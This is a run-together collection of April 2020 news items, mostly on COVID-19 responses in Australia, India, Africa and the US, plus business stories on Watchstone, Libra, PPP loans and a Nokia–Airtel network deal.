COVID-19 breach form (pictured) is located on the QLD Police reporting website 'It's absolutely disgusting to think some people are putting other people's lives at risk,' she said. 'People are taking their frustrations out on some of our essential workers and it's not on.' Paramedics and medical staff at fever clinics have faced threats of being coughed on by the people they are treating, Health Minister Steven Miles said. 'They should never feel threatened at work, they should certainly never be threatened with being deliberately infected with COVID-19,' he said. 'A cough can be used as a weapon, a sneeze can be as dangerous as a knife. Spitting is, of course, always disgusting.' Queensland has now recorded 1033 positive coronavirus tests with 101 active cases. Six of the 15 people in hospital are on ventilators. (Alliance News) - Watchstone Group PLC on Tuesday said the UK's Serious Fraud Office will not prosecute the company although an underlying investigation is ongoing. The SFO opened its criminal investigation into accounting and business practices at Watchstone, formerly Quindell PLC, back in August 2015. While the underlying investigation into Watchstone continues, the regulator has "determined that the company will not be prosecuted for criminal offences in respect of those matters which were the subject of the SFO's investigation". Shares in Watchstone ended 7.6% higher at 155.00 pence in London on Tuesday. By Anna Farley; annafarley@alliancenews.com Copyright 2020 Alliance News Limited. All Rights Reserved. UN says countries flouting the rule of law in the name of fighting coronavirus risk sparking a human rights disaster. The United Nations human rights chief has warned that countries flouting the rule of law in the name of fighting the novel coronavirus pandemic risk sparking a human rights disaster. UN High Commissioner for Human Rights Michelle Bachelet called on countries to refrain from violating fundamental rights under the guise of exceptional or emergency measures. Emergency powers should not be a weapon governments can wield to quash dissent, control the population, and even perpetuate their time in power, she warned in a statement on Monday. They should be used to cope effectively with the pandemic nothing more, nothing less. A top official from her office said about 80 countries have declared emergencies due to the new coronavirus, including 15 where the allegations were deemed most troubling. They were: Nigeria, Kenya, South Africa, the Philippines, Sri Lanka, El Salvador, the Dominican Republic, Peru, Honduras, Jordan, Morocco, Cambodia, Uzbekistan, Iran and Hungary. However, Georgette Gagnon, director of field operations, added at a virtual briefing in Geneva there are probably several dozen more we could have highlighted. A main concern on exceptional emergency measures is what has been described as a toxic lockdown culture in some countries, Gagnon said. As the high commissioner highlighted, police and other security forces are using excessive and sometimes deadly force to enforce lockdowns and curfews. Some of those countries have arrested and detained tens of thousands of people for the violation of confinement measures linked to the pandemic, with the Philippines topping the list with 120,000 apprehended for curfew violations in the past 30 days. In the case of Kenya, Gagnon said, authorities were investigating 20 cases related to deaths linked to police conduct in implementing curfew measures. President Uhuru Kenyatta has apologised for police violence. In South Africa, the UN has received reports of police using rubber bullets, tear gas, water bombs and whips, to enforce social distancing, especially in poor neighbourhoods. Thirty-nine complaints about charges including murder, rape, use of firearms and corruption are being investigated, Gagnon said. Police have described the use of whips as unacceptable. In Nigeria, the UN has received reports that security forces killed 18 people in relation to COVID-19 enforcement measures. Nigerian authorities have attributed some deaths to prison violence. She also raised concerns about police extortion in Africa. Those who cannot pay bribes, poor people, are taken to mandatory quarantine centres although there is no indication that they have come into contact with someone testing positive to COVID. Facebook Chairman and CEO Mark Zuckerberg testifies before the House Financial Services Committee on "An Examination of Facebook and Its Impact on the Financial Services and Housing Sectors" in the Rayburn House Office Building in Washington, DC on October 23, 2019. British payments start-up Checkout.com has joined the Libra Association, the digital currency project set up by Facebook last year. Checkout.com is the first payment processor to join the initiative since U.S. giants Visa, Mastercard and Stripe all pulled out over regulatory concerns in October. In recent weeks, other firms have said they will back Libra, including e-commerce giant Shopify, non-profit organization Heifer International and cryptocurrency brokerage Tagomi. Libra was introduced by Facebook back in June as a global currency that would allow users to make faster and cheaper cross-border payments. But the project quickly drew the ire of policymakers around the world who worried it could heavily disrupt the financial system, risk potential money laundering and compete with fiat currencies like the U.S. dollar. Checkout.com CEO and co-founder Guillaume Pousaz acknowledged that blockchain a technology originally conceived as the network underpinning bitcoin should be regulated when it comes to payment processing. He added that members of the Libra Association "share" that philosophy. "In the past few years, we have witnessed from afar the birth of various digitally native currencies," Pousaz wrote in a blog post Tuesday. "We are technologists at heart and have always been fascinated by blockchain and the potential benefits it could bring to global transaction processing." The BJP on Tuesday slammed the West Bengal government after an incident of stone pelting on policemen enforcing the coronavirus lockdown in the state's Howrah district. Reports said that on Tuesday morning, a mob attacked several policemen at Tikiapara in the district. The BJP on Tuesday slammed the West Bengal government after an incident of stone-pelting on policemen enforcing the coronavirus lockdown in the state's Howrah district. Reports said that on Tuesday morning, a mob attacked several policemen at Tikiapara in the district. The incident took place in the evening when a police patrol reached Tikiapara area after receiving inputs that a large number of people were jostling in a local market, violating the lockdown and social distancing norms. "As soon as the police asked them to return home, a mob pelted them with stones and beat them up. Two police vehicles were also damaged in the incident," a police official said. The injured police personnel were taken to a local hospital. Later, a large police contingent, including RAF personnel, reached the spot to control the situation. Rajib Banerjee, ruling Trinamool Congress leader of Howrah district and state forest minister, criticised the attack on policemen and said strict action would be taken against the culprits. Meanwhile, the BJP, including party leaders like Dilip Ghosh and Amit Malviya, accused Chief Minister Mamata Banerjee of indulging in "appeasement politics", and added, "her loyal voters are now attacking policemen, even while Bengal faces a tough fight against COVID-19 pandemic." Ghosh, BJP in-charge of West Bengal, said in a tweet, "Witness the dismal condition of police in West Bengal. When the police tried to make people comply with the lockdown in Tikiapara of Howrah town they were severely assaulted. Whose irresponsibility led to this deterioration of law and order?" Calling for the deployment of paramilitary force in the state, he added, "Those who burn trains-buses-public properties, those to whom the chief minister seeks unconditional apology with joined hands, will they abide by the rules of the lockdown? West Bengal CM is now trying to escape from this situation. Now the only alternative is the paramilitary force." Multiple instances have emerged from across the country of people assaulting security forces enforcing the lockdown, which has been imposed till 3 May. On Sunday, a policeman from Mumbais Shivaji Nagar police station was injured while trying to disperse a mob which was violating the lockdown restrictions, Hindustan Times reported. In Madhya Pradesh's Sheopur district, a team of policemen and doctors were attacked by locals on 23 April, India Today reported. "The team was attacked in Sheopur's Gaswani village when they went to check up on one Gopal Shivhare (21) who had recently come to Sheopur from Indore, one of the major pandemic hotspots in the country," the report said. With inputs from agencies DeVos expands experimental college prison program backed by evangelical ministry Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Education Secretary Betsy DeVos has doubled the size of an experimental program praised by the nations largest evangelical prison ministry designed to make it easier for inmates to access college courses and degree programs to help prepare them for life after their release. The Education Department announced Friday that it has selected 67 new higher education institutions to join its Second Chance Pell Experimental Site Initiative. The new participants include at least 11 Christian and Catholic nonprofit private institutions. The expansion allows incarcerated students to use federal Pell Grants (awarded to low-income students to pay for post-secondary education) at over 130 schools in 42 states and the District of Columbia. "I've had the pleasure of visiting several Second Chance Pell institutions and have seen firsthand the transformative impact this experiment has on the lives of individuals who are incarcerated," DeVos said in a statement. "By expanding this experiment, we are providing a meaningful opportunity for more students to set themselves up for future success in the workforce. The stories I've heard from students and institutions engaged in the experiment are very encouraging, and we look forward to seeing how this expansion will help even more students achieve a better future." The temporary initiative was created in 2015 by the Obama administration in which 63 schools from 23 states were initially selected to participate in the program, 13 of which were colleges affiliated with the Council for Christian Colleges and Universities. So far, the program has helped bring college programs to about 12,000 incarcerated individuals across the U.S. In the past three years, over 4,000 credentials, including post-secondary certificates, associate degrees and bachelor's degrees. have been awarded to Second Chance Pell students. Pell Grant access offers people in prison the opportunity to develop new skills and practice living as good citizens inside and outside of prison, James Ackerman, president of the evangelical prison ministry Prison Fellowship, said in a statement. Secretary DeVos action expanding Second Chance Pell sites will solidify her legacy as a leader who stands up for the dignity and potential of the least of these and fosters safer communities. The Education Department received over 180 letters of interest from colleges and universities after it announced last May that it would extend the Second Chance Pell program and reopen the application process. The schools chosen to join the program were determined to be the most qualified. The Education Department believes the addition of the new institutions will ensure institutional, programmatic, and geographic diversity among new participants. Almost two-thirds of the schools added to the experiment are two-year institutions, while one-third are institutions that are minority-serving. Eight of the newly accepted institutions will deliver instruction through innovative and distance delivery methods while 18 other schools have proposed hybrid models of instruction. The program uses the authority of the Experimental Sites Initiative granted under the Higher Education Act to circumvent a 1994 crime law banning inmates from receiving Pell Grants. Prior to the 1994 law, advocates say, there were hundreds of partnerships between prisons and higher education institutions. Criminal justice activists and Christian groups have supported bills aimed at removing the 1994 ban in order to make the Second Chance Pell more permanent and not reliant on an Education Department experimental program. A bipartisan bill that was introduced in Congress last year has not received much momentum. Among many advocacy groups, the bill is backed by Prison Fellowship, the National District Attorneys Association, the U.S. Chamber of Commerce and a nonprofit that mentors currently and formerly incarcerated individuals called From Prison Cells to PhD. Lawmakers should take a page from the secretarys playbook and move the ball down the field, said Prison Fellowship Vice President of Government Affairs and Church Mobilization Heather Rice-Minus. Before the end of the calendar year, we hope to see Congress finally take action to make Pell Grants available to men and women who are serving their time and working toward a second chance. Proponents contend that expanding access to Pell Grants will help reduce the countrys recidivism rate over time as inmates will have increased access to vocational courses and other degree programs. According to a study by the RAND Corporation, inmates who participate in correctional education programs had 43 percent lower odds of recidivating than inmates who did not. A January 2019 report from the Vera Institute of Justice estimates that over 463,000 incarcerated individuals would be eligible to receive Pell Grants if the ban on Pell Grants for inmates is lifted. The institute also reported that data from 2014 suggests that only 9 percent of incarcerated people received a certificate from a college or trade school while in prison. Some City Council and County Commission members said they are leery of going back next month to meeting again at City Hall and the County Courthouse with the coronavirus still a threat. The order of Governor Bill Lee allowing electronic meetings expires May 18. Councilwoman Demetrus Coonrod said she is responsible for the upkeep of several family members, including her grandmother. She said she does not want to put her health at risk. The council discussed having the meeting time undergo a thorough cleaning. There was also discussion of having the members somehow sit at least six feet from one another. They are now huddled close together. Chairman Chip Henderson said for members of the audience there would be certain seats marked that could be used. He said when those seats are all filled, then no one else would be let in. Councilman Anthony Byrd asked if members of the public could be required to wear masks. City Attorney Phil Noblett said there is no guidance yet from the governor on people attending meetings. Councilwoman Coonrod also said she does not want custodial personnel going into her office at City Hall. Commissioner Greg Martin said he was anxious to resume the courthouse in-person meetings, saying that "you lose something" when there is not personal contact. Commissioner Warren Mackey disagreed, saying, "The virus is still here. We haven't peaked out yet. The world has changed and the way we do business has changed." He said he favored continuing the electronic meetings, saying that members of the public are still able to participate. Commissioner Katherlyn Geter said, "The virus has not been removed. We should be very cautious and keep safety in mind." The City Council and County Commission recently have been meeting from the safety of their homes by Zoom. Gov. Ned Lamont told CNBC on Tuesday that he wants colleges and universities in Connecticut "to open in the fall," provided it is safe to do so. "It's a big part of our state," Lamont, a Democrat, said on "Squawk on the Street." "We have the best and the brightest coming to Connecticut to get educated, and it'd be a shame that they didn't come ... because it wasn't safe," he added. The state is home to Yale University, the University of Connecticut and Quinnipiac University, among others. Lamont's comments come as institutions of higher education across the U.S. grapple with how to hold classes in the fall during to the coronavirus pandemic. Most colleges and universities took steps this spring to cancel in-person instruction for the current academic period, shifting classes online as the threat from the Covid-19 outbreak intensified. But a lot of the focus now is on how or if to safely resume in-person classes in the coming months. The president of Yale, Peter Salovey, told the university community in an email last week that it intended to announce plans for the fall semester by early July. "I understand that we all need time to make plans," he wrote in the email, according to the Yale Daily News. "If we can do so sooner, we will." Lamont said the strategies of institutions may vary depending on their size and the nature of their student body. "Obviously, if you're more of a commuter campus, less risk. If you have big residence halls, a little more of a risk," said Lamont, who also expressed hope that progress in Covid-19 testing and treatments may mean "we'll be on the backside of this come this fall." To stay ahead of evolving security threats, were investing more in automated detection and bringing in new skills as we continue to grow our security team over all, a company spokeswoman said in a statement. This also means we are restructuring a portion of our team and helping the people affected by this change find other roles at Facebook. Facebooks security efforts have increasingly come under scrutiny in the past few years. In 2016, Russians used the social network to sow divisive messages to sway voters in the American presidential election. In 2018, the company disclosed a security breach that left the accounts of tens of millions of people vulnerable. Its security operations were previously housed together in one large group under Alex Stamos, the chief information security officer. After Mr. Stamos left Facebook in 2018, the security teams were reassigned and reported into different parts of the company, such as engineering and policy. Facebook has since eliminated the chief information security officer position. Facebook is looking for new approaches to bolster security across its services, according to two of the people. That includes hiring software engineers to write programs that can carry out many of the security duties previously accomplished by humans, they said. Managers who supported an automated approach have said it will be easier to scale up over time, since training artificial intelligence to handle those duties will mean less reliance on people. M illions of people had difficulty accessing the internet yesterday as Virgin Media had a series of outages across the country. Cities including Birmingham, Bristol, Glasgow, Liverpool, London, Manchester, Nottingham, and Southampton, had the highest rates of reported outages. Virgin Media said the problems were not a result of a network overload caused by heightened during the coronavirus lockdown, and added that it was not a network capacity issue. Here's how to check your internet connection. When did Virgin Media go down? Virgin Media first began having issues just before 5pm, as customers complained their home internet connection was too slow. The company said broadband connections were dropping for about three minutes each hour between 5pm and 7.30pm. It said connection had improved by 7.30pm. However, website Downdetector, which recorded more than 30,000 reports, continued to register complaints until at least midnight. Is it back up yet? Virgin Media said the problem was fixed by Tuesday morning. We identified the problem and its now fixed as of earlier this morning, a spokesperson told the BBC. This wasnt a constant loss of service, it was intermittent. How do I check my internet connection? If you think there's still an issue with your internet connection, you can check if there's a problem locally by visiting the Virgin Media website here on your smartphone (make sure you disconnect from the wifi). DES MOINES -- State officials announced Tuesday there are seven new long-term care facility outbreaks around Iowa, including 20 cases at the Iowa Veterans Home in Marshalltown. Officials also announced 508 new coronavirus cases and nine new deaths Tuesday. That brings Iowa's total number of cases to 6,376 and total number of deaths to 136. Gov. Kim Reynolds noted 34% of those who have tested positive have recovered from the virus. Reynolds noted Tuesday that 98% of Tuesday's new cases were in the 22 counties the state has continued to restrict, including Black Hawk County. Seventy-seven counties will be allowed to have their restaurants, malls, retail stores and gyms reopen at 50% of capacity beginning Friday. "This is all part of turning down the dial, and we will continue to monitor the spread of COVID-19," said Sarah Reisetter, deputy director of the Iowa Department of Public Health. Seven of Tuesday's nine new deaths occurred in long-term care facilities, where the virus has gotten inside to deadly consequences. The seven new long-term care outbreaks were at the Iowa Veterans Home in Marshall County, as well as two outbreaks in Jasper County, two outbreaks in Polk County, one in Dallas County and one in Dubuque County, Reynolds announced. That brings Iowa's total to 23 long-term care facilities that are facing outbreaks, including at Harmony House in Waterloo, which the state said has recorded 24 residents and employees test positive. Reynolds said long-term care "strike teams" were being deployed across the state to conduct surveillance testing among health care workers at those facilities. One such strike team was deployed last week in Tama County, which has had 52 positive cases at Premiere Estates of Toledo. Another 27 residents and employees have tested positive at Bartels Lutheran Retirement Community in Waverly, according to data provided by IDPH. Reynolds also announced a second TestIowa site that will open Wednesday at Crossroads Center mall in Waterloo. "It is prioritized for essential workers and people who currently have symptoms of COVID-19 or contact with people who have had it," Reynolds said, noting those who want to be tested must go to TestIowa.com. "Expanding testing capabilities helps us better understand virus activity across the state," she said. Black Hawk County added one death Tuesday, an adult over the age of 81 -- the county's first death among that age category. Officials said the county is at 1,346 cases and 12 deaths, but state numbers are delayed and show just 941 cases as of Tuesday. "Our reporting time frame cuts off at 10 o'clock the following morning, so the results we are reporting today are results as of 10 o'clock yesterday," Reisetter said, noting the county was using a different time frame. "We'll catch up with them tomorrow in terms of the data on the state's website." Allamakee County added 14 cases Tuesday for a total of 86 cases and three deaths. Bremer County added three cases for a total of 48 cases and three deaths. Tama County added four cases for a total of 263 cases and seven deaths. Buchanan County added two cases for a total of 14 cases, Fayette County added one case for a total of 17, Grundy County added two cases for a total of 11 cases and Howard County added one case for a total of seven cases. The state adjusted Winneshiek County's number of cases down from 24 cases to just 15. IDPH officials did not immediately return a message seeking comment. Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Bulverde-based Asteria Education Inc. failed on two occasions to get a $700,000 coronavirus stimulus loan, but not because the first round of the Paycheck Protection Program ran out of money. Asteria, which develops software and other materials for teachers to prepare students for placement exams, says its loan applications were denied because its in bankruptcy. Now Asteria is suing the Small Business Administration in U.S. Bankruptcy Court in San Antonio, alleging that the agency has overstepped its authority in barring companies in Chapter 11 from participating in the loan program. Nothing in the CARES Act, which authorized $349 billion for small businesses in the PPPs first round, prevents a company in bankruptcy from receiving a loan, Asteria states in its complaint. The loan application itself, though, says a company cant be approved for a loan if its presently involved in any bankruptcy. On ExpressNews.com: San Antonio realty firm sues bank for not processing coronavirus relief loan Asterias action follows similar lawsuits against the SBA. A Houston bankruptcy judge Friday ordered Dallas-based PlainsCapital Bank to waive the bankruptcy restriction when considering an Edinburg ambulance companys $2.6 million PPP loan, the Wall Street Journal reported last week. An SBA spokeswoman didnt respond to a request for comment Monday. The agency told the Journal that SBA chief Jovita Carranza, in consultation with Treasury Security Steven Mnuchin, determined that providing PPP loans to companies in bankruptcy would present an unacceptably high risk of an unauthorized use of funds or nonrepayment of unforgiven loans. Paul Keiffer, a Dallas attorney who represents Asteria, called that a baseless statement and a finding without merit. The oversight of companies in Chapter 11 by the court, creditors and trustee is far beyond what businesses outside of bankruptcy have to deal with, Keiffer said. For many companies able to reorganize and emerge from bankruptcy, the experience is a learning process on how to run a business better and implement a tighter budget, he said. Keiffer intends to file additional court papers asking the court to ensure that Asterias place in line is kept for PPP funding even if it isnt granted immediate relief. And that theres money there kept and does not just go out the door. Thats our biggest fear, he said. He wants to have the court order the SBA to set aside the $700,000 for Asteria. On ExpressNews.com: Get the latest update on coronavirus and a tracking map of U.S. cases Congress replenished the loan program with more than $300 billion last week. Its designed for businesses with less than 500 employees. Qualified businesses can receive loans equal to 2 times their average monthly payroll up to $10 million. The loans may be fully forgiven if the money is used for payroll and expenses such as rent, utilities and interest on debt. Asteria filed for bankruptcy in January, listing about $1.1 million in assets and almost $9.2 million in liabilities. The case was precipitated by a sharp decline in sales, as well as cash flow issues, CEO and President David Cumberbatch said in a declaration. It had 25 to 30 employees at the time of the filing. The spread of COVID-19 has led to school closures in Texas for the rest of the school year, harming Asterias operating income. It expects difficulty in collecting on existing accounts and generating new accounts. Asteria has instituted pay reductions of 10 to 15 percent and likely will have to do more hurtful cutting in the near future, Galina Wexler, vice president of finance and operations, said in a court filing last week. Asteria filed two PPP loan applications with different lenders. Both applications were rejected because of Asterias Chapter 11 case. The rejections will likely cause (Asteria) to severely curtail or shut down its operations, despite all efforts being made to continue operations, Wexler said. Texas Inc.: Get the best of business news sent directly to your inbox The ruling involving the Edinburg ambulance company may offer Asteria hope. The Hidalgo County Emergency Service Foundation had asked a bankruptcy judge to require the SBA to instruct all lenders administering the loans that there is no exclusion from the program because of a bankruptcy. The company, which filed for bankruptcy protection in Corpus Christi in October, operates 100 ambulances and two air ambulances, and it employs 250 people. Chief U.S. Bankruptcy Judge David R. Jones found there was no authority for including the bankruptcy restriction in loan applications. He called it discriminatory toward debtors. This cant be the way that we are supposed to treat our fellow man in this time, Jones added, according to a transcript. Its inconceivable to me that this distinction could be drawn. The people that need the most help and who have sought protection under our laws are the people who are the targets of discrimination in a government support program. Jones ruled that the companys application must be considered on its merits without any reference to its bankruptcy. A hearing on Asterias lawsuit is set for Thursday. Patrick Danner is a San Antonio-based staff writer covering banking and civil courts. To read more from Patrick, become a subscriber. pdanner@express-news.net | Twitter: @AlamoPD President Donald Trump on Monday he could bill China for the damages caused by the coronavirus epidemic to the United States and for a lot more money than the amount a German news publication has sought for Germany in a mock bill published recently. The president also said the United States is conducting serious investigations into Chinas failure to stop the coronavirus at the source and present it from spreading to the rest of the world. Though serious questions are being raised about Chinas handling of the outbreak that started in Wuhan in December and has now infected more than 3.06 million people worldwide and killed over 212,000, the American president has been seen escalating attacks on China to deflect criticism of his administration failure to respond aggressively to the crisis, stemming mostly from his own reluctance to acknowledge the gravity of the situation. Germany is looking at things and we are looking at things, Trump said Monday in response to a question from a reporter about a mock bill published last week by a German newspaper, Bild, seeking $141 billion (Euros 130 billion) from China for damages caused to Germany by the coronavirus. And we are talking about a lot more money than Germany is talking about, Trump added. The German government does not appear to have taken the bill seriously and has dismissed it as illusory. But billing China for damages is among the many suggestions emanating from China hawks in the Republican party. Josh Hawley, a Republican senator from Missouri, moved a resolution in March that seeks to hold China accountable for the pandemic and design a mechanism for delivering compensation from the Government of the Peoples Republic of China to all affected nations for the harm caused by its decision to hide the emergence and spread of COVID19 during the initial weeks of the outbreak. Missouri, his state, has, in fact, sued China for damages. Other punitive measures suggested by lawmakers include withholding payment of debt owed to China as proposed by Senator Lindsey Graham, a close Trump ally and adviser cut dependence on Chinese supply chains. Several legislation have been moved or are under process. President Trump did not indicate Monday how he proposed to bill the Chinese for the American epidemic. He only said that the US can do something much easier than the German mock bill. We have ways of doing things a lot easier than that, he added. Trump had previously raised questions about the numbers of infections and fatalities reported by China, which are also being investigated by the US. The American president has also suspended US funding of the World Health Organization accusing it of helping China conceal the true extent of its. Trump haas slammed the world body for mismanaging the pandemic, additionally, and for opposing the January ban on travelers from China, which he has touted as his administrations key response to the epidemic. Advertisement Vice President Mike Pence flouted the Mayo Clinic's face mask policy on Tuesday when he visited doctors and patients the Minnesota hospital, not wearing the protective covering despite the hospital requirement. The clinic asks all visitors to wear face masks to help stop the spread of the coronavirus, which is also a recommendation the Trump administration has made. 'Part of our protocol for ensuring your safety is to require all patients, visitors and staff to wear a face covering or mask while at Mayo Clinic to guard against transmission of COVID-19,' reads the Mayo Clinic's policy, according to its website. 'If a patient or visitor does not have a mask, Mayo Clinic will provide one.' But Pence did not wear one when he met with staff and a patient at the Rochester, Minnesota, facility, nor when he visited a lab on the campus. Photos and video footage shows he was the only person visible who was not wearing a face covering. He said he didn't wear one because he is regularly tested for the virus and doesn't have it. He added he wanted to look people in the eye and thank them. The masks cover the nose and mouth but not a person's eyes. Vice President Mike Pence flouted the Mayo Clinic's face mask policy during visit even as others wore one Token effort: Mike Pence ignored the hospital's policy that everyone wears a mask - but he did manage an elbow bump with Dr. Michael Johnson who was introducing him to survivor Dennis Nelson (right) The Mayo Clinic deleted its tweet saying it informed Vice President Mike Pence of its mask policy Vice President Mike Pence talks with a lab technician as he tours Mayo Clinic facilities Vice President Mike Pence visits Dennis Nelson, who survived the coronavirus, and was going to give blood during a tour of the Mayo Clinic Vice President Mike Pence said he didn't wear a mask because he doesn't have the virus 'As Vice President of the United States I'm tested for the coronavirus on a regular basis, and everyone who is around me is tested for the coronavirus,' he noted, saying he is following CDC guidelines which indicate that the mask is good for preventing the spread of the virus by those who have it. 'And since I don't have the coronavirus, I thought it'd be a good opportunity for me to be here, to be able to speak to these researchers these incredible healthcare personnel and look them in the eye and say thank you,' he added. The clinic has had the mask policy in place since April 13 and even offered to provide one. Pence was told of the policy before he visited, the clinic said in a Twitter post that was subsequently deleted. 'Mayo Clinic had informed @VP of the masking policy prior to his arrival today,' the post read. Dr. Stephen Hahn, the head of the Food and Drug Administration, sported a mask as did Mayo Clinic officials who accompanied Pence when he visited a blood and plasma donation center on the campus. Members of the vice president's entourage also wore face coverings. During his visit, Pence met Dennis Nelson, a Mayo Clinic employee from Rochester, who contracted the coronavirus at the end of March and recovered. Nelson made a donation and sat in a chair in the blood and plasma donation center of the clinic while talking to Pence. Pence also toured the virology laboratory's labeling area, where he thanked some of the employees, all in white coats and masks. The vice president also held a roundtable with local officials and Minnesota Gov. Tim Walz. All except Pence wore masks. And the officials observed socially distance guidelines when they sat at the table with several feet between them. 'We will get through this, we will get through this together,' Pence said. Vice President Pence talking with staff who wore masks while he did not Minnesota Gov. Tim Walz greeted Vice President Mike Pence when he arrived in the state; Walz wore a face mask while Pence didn't; the two men bumped elbows instead of shaking hands Vice President Pence also held a roundtable at the hospital where participants - except for him - wore a face mask The Mayo Clinic's policy on wearing face masks When President Donald Trump announced his administration's recommendation to wear face marks on April 3, he said he wouldn't wear one. 'I don't think I'm going to be doing it,' he said, saying he didn't want to do such a thing in the Oval Office: 'Wearing a face mask as I greet presidents, prime ministers, dictators, kings, queens - I just don't see it.' The Centers for Disease Control and Prevention recommends wearing a face mask in public settings where socially distancing policies are hard to follow. A local court in Karnataka on Tuesday granted bail to a CRPF commando who was arrested by state police officials for alleged assault on them during COVID-19 lockdown duty, a charge contested strongly by the paramilitary. The jawan has been taken to the jungle warfare training school of the paramilitary force in Belagavi district, a senior official said. Constable Sachin Savant of the 207th CoBRA battalion was granted regular bail by a court located in Chikodi taluka of the district, he said. A team of CRPF and CoBRA officials were present in the court during the proceeding during which the state police did not oppose the bail, the official said. The commando was arrested by police on April 23 from Examba village (Belagavi district) when he was washing his bike outside his house without wearing a mask, as required under the coronavirus prevention protocol. An altercation and physical fight took place between the two sides, following which the trooper was taken to the local police station and arrested. The Central Reserve Police Force (CRPF) had on Monday taken up the case with the Karnataka director general of police (DGP), calling the incident "unpleasant". The CRPF letter said commando Savant was "manhandled, ill-treated, paraded to the police station barefooted, kept in chains and handcuffs" by police personnel and sought intervention of state Director General of Police Praveen Sood. The paramilitary had said that from the scrutiny of a viral video on social media of the incident "it is apparent that the conduct of the police personnel was not citizen-centric". A police report had said the CoBRA commando "started the altercation" with the beat constable and another policeman accompanying him, and "assaulted" them. As per the official Twitter handle of the Karnataka DGP's on Monday evening, "IGP (inspector-general of police) Belagavi has been asked to enquire into the incident involving the CRPF constable and action will be taken against guilty after receipt of report". The Commando Battalion for Resolute Action (CoBRA) unit of the CRPF specialises in guerrilla tactics and jungle warfare. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Someday, Im going to die. This, I grudgingly accept. I have no idea how its going to happen. Maybe I will die of having a tree fall on me, of eating tainted shellfish, or of being struck by lightning. But this much I guarantee. I will not die of having wagered my life that TV carnival barkers, political halfwits and goobers in MAGA hats know more than experts with R.N.s, M.D.s, and Ph.D.s after their names. In other words, I will not die of stupid. Not that there arent plenty of opportunities to do so. Indeed, in responding to the COVID-19 pandemic and the question of when and how the nations economy should be reopened, we seem to have tapped the U.S. Strategic Stupid Reserve. The result has been a truly awe-inspiring display of Americas matchless capacity for mental mediocrity. Surveys show, for instance, that a solid majority of Americans (63 percent according to a CBS News poll) are more worried about reopening the country too fast and worsening the pandemic than opening it too slowly and worsening the economy. Yet a noisy minority of protesters is furious at government for trying to keep them healthy. They demand their right to life, liberty and the pursuit of acute respiratory distress. Meantime, theres Dr. Phil, opining on Fox News that 45,000 people a year die from automobile accidents, 480,000 from cigarettes, 360,000 a year from swimming pools, but we dont shut the country down for that. Turns out hes off a smidge on the number of drownings, which is actually fewer than 4,000. And who knew swimming pools, car accidents and cigarettes were contagious? Then you have governors like Brian Kemp of Georgia and Ron DeSantis of Florida rushing to reopen their states in defiance of medical advice. COVID-19 is not here, bro, one surfer assured a Jacksonville TV news crew. Doesnt that take a load off your mind? And lets not forget Las Vegas, where Mayor Carolyn Goodman went on CNN to demand the reopening of casinos, suggesting her town could be a control group to find out if social distancing works the gambling capital playing craps with the lives of its own people. Not that Goodman would wager her own life. Asked by Anderson Cooper if she would visit the reopened casinos, she demurred, saying she has to get home to her family. But heres the thing. Theres been a lot of talk over who has the power to reopen Americas economy. Well, it doesnt belong to the president, nor to the governors. It doesnt even belong to business owners. No, ultimately, it belongs to me. And to you. It belongs to us, as consumers. After all, the president and the governors can issue all the orders they want, the owners can remove all the padlocks, but none of it matters if customers are too afraid to walk back through the doors. And I am. I have no idea how many consumers I represent, but I suspect its more than a few. I get that businesses are suffering. But I refuse to eat in a crowded restaurant, sit in a packed movie house or fly on a full flight again until I feel I can do so safely. And I am emphatically not assured by TV carnival barkers, political halfwits and MAGA-hat-wearing geniuses. No, I need to hear from serious, credible people. I need to know sufficient testing has been conducted and that they feel the virus is no longer a threat. If other people want to die of stupid, I cant stop them. But if America wants its economy back this part of its economy, at least it better do whatever is necessary to persuade Dr. Anthony Fauci its time to give the all-clear. Look for me two weeks after that. Leonard Pitts is a columnist for The Miami Herald, 3511 NW 91st Ave., Miami, Fla., 33172. Readers may contact him via e-mail at lpitts@miamiherald.com. The Seventh-day Adventist Church, Ghana has donated Ghs100,000 to the National COVID-!9 Trust Fund. The donation was presented at the COVID-19 Trust Fund Office, Jubilee house on Monday, April 27, 2020. Presenting the Cheque, The President of Southern Ghana Union Conference, Pastor Dr. Thomas Techie Ocran praised the efforts of the government in the fight against the virus and pointed out that the donation was the first in a series of donations that will be done by the Church. He also said the Church has been praying for the nation as well. Receiving the cheque, the Chairperson of the Trust Fund, Justice Sophia Akufo thanked the churched and said the Fund was impressed with the donation. She also called on other Ghanaians to join the Adventist Church in its 100days of prayers. Other persons present at the presentation were Pastor Lawrence Andrews Ewoo of Encounter with Truth, Dr Williams Kpakpo Brown of ADRA Ghana, Mr Nii Ayite Hammond of Hope TV and Dr Solace Asafo, Communication Director, Southern Ghana Union. Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video has signed a multi-year deal with to deploy the Finnish company's network solutions across nine circles in India. According to industry analysts, the deal could be worth $1 billion. "We have been working with for more than a decade now and are delighted to use Nokia's SRAN products in further improving the capacity and coverage of our network as we prepare for the era," Gopal Vittal, MD and CEO (India and South Asia) at Bharti Airtel, said in a statement. Nokia's SRAN solution helps operators manage their 2G, 3G and 4G networks from one platform reducing network complexity, increasing cost efficiencies and future-proofing investment. The Finnish company will be the sole provider of SRAN in the nine circles in the country. The supplied networks with low latency and faster speeds will provide the best possible platform for when networks launch across the country. Nokia said the deal includes Nokia's Single Radio Access Network solution, AirScale Radio Access, Baseband, and related Services. The rollout, which will also lay the foundation for providing connectivity in the future, will see approximately 300,000 radio units deployed across several spectrum bands, including 900 Mhz, 1800 Mhz, 2100 Mhz and 2300 Mhz, and is expected to be completed by 2022 ALSO READ: Bharti Airtel surpasses HDFC to become 5th most valuable listed company "We have worked closely with for many years and are delighted to extend this long-standing partnership further. This project will enhance their current networks and deliver best-in-class connectivity to Airtel customers but also lay the foundations for 5G services in the future," explained Rajeev Suri, President and Chief Executive Officer at Nokia. India currently is the second-largest telecom market in the world and is expected to reach 920 million unique mobile customers by 2025, which will also include 88 million 5G connections according to the GSMA. The country is experiencing a massive increase in demand for data services with traffic increasing by 47 per cent in 2019 alone, according to Nokia's MBiT Index 2020. Nokia's SRAN solution will help Airtel to address this growing 